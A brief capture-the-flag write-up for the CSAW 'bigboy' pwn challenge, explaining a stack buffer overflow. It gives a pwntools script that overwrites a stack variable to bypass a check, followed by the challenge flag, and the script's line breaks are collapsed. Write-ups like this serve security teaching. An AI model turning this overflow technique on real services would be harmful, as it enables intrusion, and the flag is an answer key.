## bigboy 50 (pwn)
### Solution
There's a buffer overflow on stack, just overwrite `0xDEADBEEF(buf + 0x14)` to `0xCAF3BAEE` to bypass the check.
### Exploit
```python#!/usr/bin/env python3from pwn import *context(arch="amd64")
r = remote("pwn.chal.csaw.io", 9000)r.send(b"a"*0x14 + p32(0xCAF3BAEE))r.interactive()```### Flag
```flag{Y0u_Arrre_th3_Bi66Est_of_boiiiiis}```